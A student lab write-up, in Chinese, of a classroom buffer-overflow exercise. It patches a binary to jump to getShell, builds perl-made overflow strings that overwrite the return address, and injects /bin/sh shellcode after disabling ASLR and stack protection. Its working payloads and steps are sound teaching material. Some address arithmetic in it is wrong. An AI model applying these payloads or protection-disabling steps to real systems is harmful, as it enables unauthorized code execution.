1.实验内容
1.1 知识回顾
本周内容主要通过学习了解到缓冲区溢出攻击的基本原理,同时也复习和加深了对于计算机中有关栈、堆、缓冲区等知识的印象。另外通过动手实践,掌握学习了解了以下知识:
- 基本的汇编语言
- 如(mov、push、pop、call等),弄够理解其基本功能
- 知道esp、eip、ebp等寄存器其中存储的信息和功能
- 有关计算机基础的知识
- 什么是栈、堆?
- 进程内存管理(用户态,内核态等)
- Linux下的基本知识
- 基本的操作指令(如cd、ls、chmod、cat等)
- 编译器,调试器的知识,Linux下如何利用gdb进行调试
- 了解什么是反汇编,并能动手实现简单十六进制编辑
1.2 实验任务
-
此次实验要求的实践任务如下
-
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
-
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
-
注入一个自己制作的shellcode并运行这段shellcode
-
2.实验过程
2.1 任务一:手工修改可执行文件,改变程序执行流程
2.1.1 将文件pwn1上传到虚拟机桌面,并下载,并将其重命名为pwn20222423
2.1.2 对目标文件pwn20222423进行反汇编,查看结果
objdump -d pwn20222423 | more
/ 查看pwn20222423二进制文件的反汇编输出 /
/ objdump命令————显示二进制文件信息,包含反汇编、符号表、重定位等 /
/ objdump -d————显示反汇编信息 /
/ |:管道符,将一个命令的输出直接作为另一个命令的输入 /
-
在上面的图中,我们能够看见main函数的"call 8048491
"指令 -
也就是这条指令将调用地址位于8048491的foo函数
-
前面可以看到对应的机器指令为“e8 d7 ff ...”。e8代表跳转,而d7ffffff是补码,代表-41,而EIP中存储的的地址为80484ba,(下一条指令地址)将其减去41得到的地址刚好是8048491,也就是foo函数地址
-
-
而为了实现调用shellcode功能,我们就要设法将跳转的地址转变为getShell的地址,下面寻找该函数的地址
-
很显然,
函数的地址为804847d,所以,我们就需要把e8后面的值变为 getShll - EIP(80484ba) 的值的补码,这样执行这一行的时候就会变成调用 函数 -
这下我们目的就很明确了,将main函数中原本调用
函数指令的机器码改为跳转到 函数,也就是将其中的机器码e8 d7 ff ff ff,修改为e8 c3 ff ff ff
2.1.3 修改可执行文件
为了防止文件被改出问题,将pwn20222423备份到pwn20222423_1,以后的操作在pwn20222423_1中执行
vi pwn_20222423
/ 编辑文件pwn20222423_1 /
:%!xxd
/ 修改显示模式为16进制模式 /
/e8 d7 (注意这里有空格)
/ 查找需要的部分地址 /
/ 直接进入文件编辑,将 d7 修改为 c3 /
:wq
:%!xxd -r
/ 将文件改回原来的格式 /
2.1.4 修改验证
先对修改好的文件pwn20222423_1进行反汇编,看看原本main调用foo函数的地址是否改变
很好,修改成功了,让我们测试一下运行效果
./pwn20222423_1
为了体现不同,让我们看看没有被修改之前的pwn文件执行的结果是什么样的
可以看到,在原来的pwn文件(将维修改的文件复制到pwn20222423_2中),执行的结果是返回用户输入的内容,而如果被修改进入getShell函数,那么就会变成执行用户输入的指令,对于攻击者,就可以借此进行一些非法破坏
2.2 任务二:利用Bof漏洞,手动构造攻击字符串,改变程序执行流
2.2.1 详细分析原来程序
为了更好的理解这一任务的目的和原理,让我们再仔细观察一下原来pwn程序的功能
(这里由于原pwn文件已被修改,重新传入一份到pwn20222423_2)
objdump -d pwn20222423_2 | more
/ 对文件进行反汇编 /
让我们详细分析一下这个文件
- 首先让我们看看foo函数
-
可以看到,前面的指令从上到下分别代表:
-
ebp的值入栈,保留此之前函数的栈帧(不然我结束回哪里就不知道了)
-
esp的值给到ebp,为当前函数设置新的栈帧
-
esp的值减去0x38,由于栈的地址从高向低,这里其实就是开辟了56字节的空间,也就是说为foo函数预留除了56字节的空间
-
-
函数空间有了,那我们来看看下面foo函数干了什么
-
这里其实有点难理解,如果对缓冲区知识较为熟悉的话,我们可以大概知道这两句干了这样的事
-
首先将 (ebp - 0x1c) 得到的地址结果先预留下来
-
然后再将这个值赋给esp,预留出0x1c空间也就是28字节空间
-
-
这一步是干什么?让我们回想一下pwn原本的功能是不是会输出用户输入的字符串,那么这里读入字符串是不是需要预留空间?想到了什么,没错,这28字节预留出来的就是缓冲区!
-
既然有了缓冲区,那么下面这几步的意思就很明确了
-
调用gets函数,来读取用户输入的字符串,将其存入到刚才开辟的28字节的缓冲区中
-
ebp - 0x1c 的值保留,为后面调用puts函数准备变量
-
调整栈帧
-
调用puts函数,输入刚才存入的字符串
-
-
那么接下来的步骤就很明确了
-
esp的值恢复为ebp的值,从栈中弹出原本最顶层的ebp的值(也就是main函数)
-
从当前函数返回原本调用者函数处
-
-
既然要返回,那么返回的地址是什么,我们在main函数中找找
-
那么结果就很明显了,main函数调用foo时候,在堆栈上压入的地址为80484b5,也就是eip中存入的下一条指令的地址
-
既然实验是跟缓冲区溢出相关,那我们就可以输出超过原本缓冲区长短的字符串,让其一直溢出到原本的返回地址,修改里面的内容
2.2.2 尝试输入的字符串哪些会覆盖掉原本返回地址
- 启用gdb调试工具,运行一下pwn20222423_2,输入测试字符串,并看看里面的寄存器状态
-
可以看到,eip中的值被修改成了 0x35353535,也就是说这时候eip里存的数据是"5555"(5的ASCII码是0x35),而我们输入长度已经超过了原本缓冲区的28字节,可以看出是字符串的“555555555”部分溢出覆盖掉了eip的部分
-
为了更精确确认是哪些位置的字符覆盖,再次测试另一个长字符串
-
看到eip中的值变成了 0x34333231,也就是说里面存的字符是"4321",由此我们看到输入字符串“111111..12345678”中的“1234”部分会溢出覆盖掉原本堆栈中的返回地址,那么如果我们想执行getShell,是不是只要把“1234”部分替换为getShell的内存地址就行了?
-
还记得getShell的内存地址是多少吗?在反汇编的时候有显示
- 现在我们知道getShell的地址为804847d,但是输入进去的顺序得确认一下,是“\x08\x04\x84\x7d”还是"\x7d\x84\x04\x08"。其实对比之前的1234顺序为“0x34333231”可知应该是"\x7d\x84\x04\x08"
2.2.3 构造输入字符串
因为我们不可能直接键盘手动输入十六进制数,所以可以先生成包含这样字符串的文件,\x0a代表回车,
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input20222423
/ * Perl是一门解释型语言, 使用输出重定向“>”将perl生成的字符串存储到文件input中 * /
/ * 随后看看得到的文件是否符合预期 * /
xxd input20222423
随后将input20222423的输入,通过管道符"|",作为pwn20222423_2的输入
(cat input; cat) | ./pwn20222423_2
/ 读取 input 文件的内容,然后等待从标准输入读取更多的内容,直到没有更多输入为止。这些内容会被pwn20222423_2作为输入 /
ls
(perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat) | ./pwn20222423_2
- 至此,成功完成了手动构造字符串,更改程序执行流的任务。
2.3 注入Shellcode,并执行
在这一部分开始之前我们先了解下什么是Shellcode
2.3.1 了解shellcode基本知识
-
什么是Shellcode?
-
是一段专门设计的机器码,用于利用软件漏洞执行恶意操作
-
特点是它是自包含的,不依赖于外部文件或特定的环境,可以直接在内存中执行
-
Shellcode的使用通常涉及到将其注入到目标进程的内存中,并通过某种方式触发执行
-
-
此次实验使用的Shellcode如下
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
2.3.2 实验前准备
使用的pwn文件依然是pwn20222423_2,先对整个系统设置进行一些调整
execstack -s pwn1
/ 设置堆栈可执行 /
execstack -q pwn1
/ 测试文件的堆栈是否可执行,输出“X pwn1”为正常 /
more /proc/sys/kernel/randomize_va_space
/ 查看地址空间布局随机化(ASLR)情况 /
/ 如果输出为“0”,则表示关闭ASLR /
/ 如果输出为“1”,则表示启用ASLR /
/ 如果输出为“2”,则表示完全启用ASLR /
/ 如果输出不是0,则需要关闭ASLR /
echo "0" > /proc/sys/kernel/randomize_va_space
/ 修改参数并关闭地址空间布局随机化 /
more /proc/sys/kernel/randomize_va_space
/ 再次查看ASLR,确认关闭(即输出为“0”)/
2.3.3 构造要注入的payload
-
Linux下有两种构造buf攻击方法
-
retaddr+nop+shellcode
-
nop+shellcode+retaddr
-
-
而retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
-
我们的buf选择nops+shellcode+retaddr形式。其中nop一为是了填充,二是作为“着陆区/滑行区”。
现将shellcode生成一个执行文件
perl -e print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00" > input_shellcode_20222423
编写一个shellcode,最后的\x4\x3\x2\x1会将覆盖到堆栈上的返回地址的位置,我们需要将其替换为Shellcode的地址
xxd input_shellcode_20222423
/ 使用十六进制查看一下的地址 /
(cat input_shellcode;cat) | ./pwn20222423_2
/ 执行文件 /
- 注意这里pwn已经在运行了,不要输入数据,否则进程会结束,无法进行后面的步骤![]
此时我们保留此界面不动,先打开另一个终端
ps -ef | grep pwn1
/ 查找pwn20222423_2的进程号 /
gdb
/ 启用gdb /
看到此时pwn20222423_2的进程号是56028,下面开始调试这个进程
attach 56028
/ gdb调试此进程 /
disassemble foo
/ 设置断点,查看buf注入的内存地址 /
break *0x080484ae
/ 将断点设在080484ae,这一步是ret,ret后就会跳转到覆盖的retaddr那个位置`
这个时候在最初打开的终端中按下回车,让进程继续走,完成后回到现在的新终端界面
c
info r esp
/ 然后查看esp地址,尝试找到shellcode的地址 /
看见了01020304(也就是shellcode中\x4\x3\x2\x1的地方),还需要再向前找
-
看到了90909090,这是shellcode开始的部分,由此可以知道其开始地址为0xffffd370(0xffffd38c是前四个字节地址,所以需要额外加4字节也就是加0x0100)
-
同理,可以看到0102030为shellcode结束部分,其地址为0xffffd390(0xffffd38c + 0x0100),由此我们也知道了shellcode中\x4\x3\x2\x1的内容应该填什么
2.3.4 修改shellcode并执行
知道了以上信息,最终将shellcode修改结果如下,生成到新文件input_shellcode_20222423中
perl -e 'print "A" x 32;print "\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x70\xd3\xff\xff\x00"' > input_shellcode_20222423
运行检查是否能够进行攻击
到此,成功完成了最后一个任务,完成shellcode注入并执行
但是注意,上面shellcode执行成功实在一个简单较为“理想”的条件下完成的,前面准备工作就是为了搭建这样一个环境
-
关闭堆栈保护(gcc -fno-stack-protector)
-
关闭堆栈执行保护(execstack -s)
-
关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
-
在x32环境下
-
在Linux实践环境
少了任何一步骤可能都无法完成攻击
3.问题解决及解决方案
-
问题一:文件pwn无法执行
- 在任务一中,尝试执行pwn文件时候会出现以下错误
- 疑似是权限不足随后查阅相关资料之后猜测是文件没有可执行的权限,所以需要手动添加
-
问题二:无法安装gdb
- 在任务二测试哪些字符串会覆盖掉返回地址的时候需要用到调试工具gdb。正常情况输入指令 apt-get install gdb会自动安装。
但是实际运行的时候,总会出现以下的问题:
# apt-get install gdb
/ 下面是系统的回复 /
Command gdb not found,but can installed with ...
无论是下了gdb安装包当场解压配置还是输入系统所给的指令,都成功安装gdb
- 后来找网上搜集资料,才知道可能需要更新安装软件包
所以需要手动输入下面的指令更新
apt-get update
sudo apt-get upgrade
/ 可能需要等一段时间 /
/ 显示完成后,在输入安装指令 /
apt-get install gdb
再测试是否安装gdb
问题成功解决!详细的解决步骤可以参考 这篇文章
-
问题三:系统安装不上execstack
- 在任务三中需要用到execstack命令,但是默认kali环境中并没有安装,需要手动配置。但是输入apt-get install execstack时候会出现以下错误
- 这说明当前kali linux中的资源列表找不到对应数据包
需要手动自己添加,编辑文件sources.list
sudo vim /etc/apt/sources.list
然后将下面的信息添加到文件里
deb http://http.kali.org/kali kali-rolling main contrib non-free
# For source package access, uncomment the following line
# deb-src http://http.kali.org/kali kali-rolling main contrib non-free
deb http://http.kali.org/kali sana main non-free contrib
deb http://security.kali.org/kali-security sana/updates main contrib non-free
# For source package access, uncomment the following line
# deb-src http://http.kali.org/kali sana main non-free contrib
# deb-src http://security.kali.org/kali-security sana/updates main contrib non-free
deb http://old.kali.org/kali moto main non-free contrib
# For source package access, uncomment the following line
# deb-src http://old.kali.org/kali moto main non-free contrib
随后保存并且再次更新apt文件,并测试是否能够成功安装execstack
问题解决!详细过程请参考这篇文章
4.学习感悟与思考
-
在命令和工具使用上
- 了解了Kali Linux怎么具体使用,安装环境如何搭建,界面有那些可以操作和注意的地方
- 对于调试工具gdb,了解了一些基本指令如:info r(查看寄存器状态)、break ...(设置断点),以及手动解决了系统无法安装gdb问题
- 对Linux中一些基本的指令能够更熟练的使用,比如经常使用的反汇编命令、增加权限命令chmod、文件连接命令cat、文件编辑器vi、甚至包括目录更换命令cd等等。在某一方面对我操作系统的学习也有很大帮助。
-
知识学习上
-
首先最重要的就是缓冲区。尽管在之前如计算机组成原理、信息安全概论课上都讲解过,但是从来没有动手实践,了解的也只是表面的皮毛,没有真正体会其中原理。而这次实验一方面课堂上让我理解了计算机中堆栈是什么样的,各个寄存器eip、esp、ebp都有什么作用,执行指令的时候是什么样的流程等等,动手操作也让我切身体会到通过一个看似不起眼的空间,可以被别人操控进行许多破坏,就比如实验中的shellcode,通过进行设计输入字符串,让其溢出部分覆盖掉call后面的返回地址,就可以直接修改程序执行流程,让我大受震撼,对缓冲区溢出的危害有了更深的体会。
-
其次就是理解汇编语言,比如mov、pop、push、ret、call等命令都进行了哪些操作,进程中给的内存管理师怎样的,内存中地址是如何存储的等等。特别是对于任务三,直接编写shellcode并执行,其中的开始和结束地址每个人都不同,当我通过实验操作并算出相应地址切成功实现功能的时候,非常有成就感。
-